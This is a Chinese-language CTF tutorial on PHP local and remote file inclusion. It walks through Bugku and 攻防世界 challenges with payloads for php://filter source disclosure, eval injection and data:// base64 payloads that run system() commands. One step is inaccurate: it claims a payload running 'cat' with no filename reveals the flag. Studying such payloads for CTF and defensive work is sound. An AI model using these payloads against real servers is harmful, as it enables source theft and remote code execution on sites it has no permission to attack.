文件包含漏洞
為了更好地使用代碼的重用性,可以使用文件包含函數將文件包含進來,直接使用文件中的代碼來提高重用性。但是這也產生了文件包含漏洞,產生原因是在通過 PHP 的函數引入文件時,為了靈活包含文件會將被包含文件設置為變量,通過動態變量來引入需要包含的文件。此時用戶可以對變量的值可控,而服務器端未對變量值進行合理地校驗或者校驗被繞過,就會導致文件包含漏洞。
文件包含函數
函數 | 功能 |
---|---|
include() | 代碼執行到 include() 函數時將文件包含 |
include_once() | 當重復調用同一文件時只調用一次,功能與 include() 相同 |
require() | require() 執行如果發生錯誤,函數會報錯並終止腳本 |
require_once() | 當重復調用同一文件時只調用一次,功能與 require() 相同 |
包含漏洞分類
本地包含
當包含的文件在服務器本地時,就形成了本地文件包含。文件包含可以包含任意文件,被包含的文件可以不是 PHP 代碼,可以是文本或圖片等。只要文件被包含就會被服務器腳本語言執行,如果包含的文件內容不符合 php 語法,會直接將文件內容輸出。例如下面這段簡易的代碼:
<?php
$file = $_GET['file'];
include($file);
?>
遠程包含
當包含的文件在遠程服務器上時,就形成了遠程文件包含。所包含遠程服務器的文件后綴不能與目標服務器語言相同,遠程文件包含需要在 php.ini 中設置:
allow_url_include = on(是否允許 include/require 遠程文件)
allow_url_fopen = on(是否允許打開遠程文件)
偽協議
PHP 偽協議
PHP 偽協議是 PHP 支持的協議與封裝協議,幾個 PHP 支持的偽協議如下。
偽協議 | 功能 |
---|---|
file:// | 訪問本地文件系統 |
http:// | 訪問 HTTP(s) 網址 |
php:// | 訪問各個輸入/輸出流 |
phar:// | PHP 歸檔 |
zip:// | 壓縮流 |
例如在 allow_url_include = on 時服務器上有個文件叫 index.php,且存在文件包含漏洞,這個時候就能用 php 偽協議直接把文件顯示出來。
?file=php://filter/read=convert.base64-encode/resource=index.php
稍微解釋下這個做法,php://filter/ 是一種訪問本地文件的協議,/read=convert.base64-encode/ 表示讀取的方式是 base64 編碼后,resource=index.php 表示目標文件為index.php。問什么要進行 base64 編碼呢?如果不進行 base64 編碼傳入,index.php 就會直接執行,我們就看不到文件中的內容了。php 協議還常用 php://input,這可以訪問請求的原始數據的只讀流,可以讀取 POST 請求的參數。
data 偽協議
php 5.2.0 起,數據流封裝器開始有效,主要用於數據流的讀取,如果傳入的數據是PHP代碼就會執行代碼。使用方法為:
data://text/plain;base64,xxxx(base64編碼后的數據)
例題:bugku-本地包含
題目的源碼如下,觀察到代碼將提取一個 REQUEST 變量,這個變量時 HTTP Request 變量,默認情況下包含了 GET、POST 和 COOKIE 的數組。
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval("var_dump($a);"); //var_dump() 函數可以輸出變量的類型和值
show_source(__FILE__);
?>
第一種解法是利用 eval() 函數,它把字符串按照 PHP 代碼來計算,該字符串必須是合法的 PHP 代碼且必須以分號結尾。這里 eval() 會把變量 a 中的內容提取出來,然后執行 var_dump() 函數輸出。不過由於變量 a 來自於變量 hello 變量,而如果 hello 變量中的內容是代碼,也會被執行。所以這里可以傳入一句代碼來直接顯示 flag.php,例如:
hello=);show_source(%27flag.php%27
則在 eval 中,就會把上述 hello 的值替換掉變量 a,等同於執行如下代碼:
var_dump();
show_source('flag.php');
同理,使用其他的函數顯示文件也是可以的,注意使用 “);” 來構造。
hello=);print_r(file("flag.php")
hello=);var_dump(file("flag.php")
hello=);include(@$_POST['b']
第二種解法就是用 PHP 偽協議把 flag.php 文件讀出來,然后再使用 include() 函數包含出來。
當然還有第 3 種解法,就是直接把 flag.php 導入到 hello 變量中。
例題:bugku-flag 在 index 里
打開網頁,點擊后觀察 url 有個文件包含漏洞,也就是說我們可以想辦法把包含 flag 的文件導出來。
根據提示 flag 在 index.php 里,使用 php 偽協議把文件內容的 base64 編碼導出,解碼得到 flag。
例題:bugku-welcome to bugkuctf
打開網頁查看源碼如下,源碼要求用 GET 方式傳遞三個參數,其中 user 不為空,並且作為文件名變量打開后的文件內容為 “welcome to the bugkuctf”,file 要求值為 hint.php。
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}
else{
echo "you are not admin ! ";
}
-->
對於變量 user,當傳進去的變量的參數作為文件名變量去打開時,可用 php://input 作為參數,同時使用 post 方式傳入內容作為變量的文件內容。對於 file 變量,可以使用偽協議 php://filter 來讀取 hint.php 文件。構造出的 payload 為:
index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=
此時就得到了 hint.php 的源碼的 base64 編碼,解碼后得到:
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
接下來的內容關於 PHP 反序列化,可以前往博客CTF-WEB:PHP 反序列化查看剩余步驟。
例題:攻防世界-Web_php_include
打開網頁,看到一段 PHP 代碼如下,觀察到這段代碼有 include() 函數,因此這題要考慮文件包含漏洞。strstr() 函數查找字符串首次出現的位置,然后返回字符串剩余部分。注意到這段代碼使用了 strstr() 函數將傳入參數中的 “php://” 全部刪了,也就是說此處無法直接使用 PHP 偽協議來完成。
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
注意到這里還傳遞了一個參數 “hello”,我們嘗試傳一個參數進去,發現這個參數被回顯回了網頁。因此我們考慮以命令執行,然后命令執行的結果回顯到瀏覽器,例如用 ls、cat 命令來查看。
這里可以改用 data 偽協議來做,首先我們還是要先知道 flag 放在哪里,寫出如下代碼,則網頁就會執行 ls 命令輸出目錄下的文件名。
<?php system("ls")?>
根據 data 偽協議的使用方法,我們需要把上述代碼用 base64 編碼然后傳入:
?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
接下來就要查看 “fl4gisisish3r3.php” 這個文件的內容了,還是一樣寫出下面代碼讓網頁執行 cat 命令查看文件。
<?php system("cat")?>
還是一樣把上述代碼用 base64 編碼然后傳入,然后打開 F12 查看源碼就能看到 flag。
?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQiKT8+